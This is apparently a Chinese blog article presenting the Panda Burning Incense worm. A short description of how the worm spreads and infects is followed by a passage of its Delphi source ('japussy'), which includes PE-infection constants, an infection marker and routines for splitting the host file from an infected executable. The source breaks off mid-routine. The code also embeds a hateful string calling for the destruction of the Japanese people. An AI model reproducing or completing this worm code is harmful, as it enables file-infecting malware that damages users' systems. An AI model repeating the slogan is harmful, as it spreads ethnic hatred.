带大家走进熊猫烧香蠕虫病毒

病毒结构

含有病毒体的文件被运行后，病毒将自身拷贝至系统目录，同时修改注册表将自身设置为开机启动项，并遍历各个驱动器，将自身写入磁盘根目录下，增加一个Autorun.inf文件，使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染，同时开另外一个线程连接网站下载ddos程序进行发动恶意攻击。

病毒文件初始信息

Program japussy; uses windows, sysutils, classes, graphics, shellapi{, registry}; const headersize = 82432; //病毒体的大小 iconoffset = $12eb8; //pe文件主图标的偏移量 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { headersize = 38912; //upx压缩过病毒体的大小 iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量 } iconsize = $2e8; //pe文件主图标的大小--744字节 icontail = iconoffset + iconsize; //pe文件主图标的尾部 id = $44444444; //感染标记

//垃圾码，以备写入 catchword = 'if a race need to be killed out, it must be yamato. ' + 'if a country need to be destroyed, it must be japan! ' + '*** w32.japussy.worm.a ***'; {$r *.res} function registerserviceprocess(dwprocessid, dwtype: integer): integer; stdcall; external 'kernel32.dll';   //函数声明 var tmpfile: string; si: startupinfo; pi: process_information; isjap: boolean = false;   //日文操作系统标记

{ =====判断是否为win9x =====}

function iswin9x: boolean; var ver: tosversioninfo; begin result := false; ver.dwosversioninfosize := sizeof(tosversioninfo); if not getversionex(ver) then exit; if (ver.dwplatformid = ver_platform_win32_windows) then //win9x result := true; end;

{===== 在流之间复制===== }

procedure copystream(src: tstream; sstartpos: integer; dst: tstream; dstartpos: integer; count: integer); var scurpos, dcurpos: integer; begin scurpos := src.position; dcurpos := dst.position; src.seek(sstartpos, 0); dst.seek(dstartpos, 0); dst.copyfrom(src, count); src.seek(scurpos, 0); dst.seek(dcurpos, 0); end;

======将宿主文件从已感染的PE文件中分离出来，以备使用=====}

procedure extractfile(filename: string); var sstream, dstream: tfilestream; begin   try  sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);   try  dstream := tfilestream.create(filename, fmcreate);   try  sstream.seek(headersize, 0);   //跳过头部的病毒部分  dstream.copyfrom(sstream, sstream.size - headersize);    finally    dstream.free;  end; finally sstream.free; end;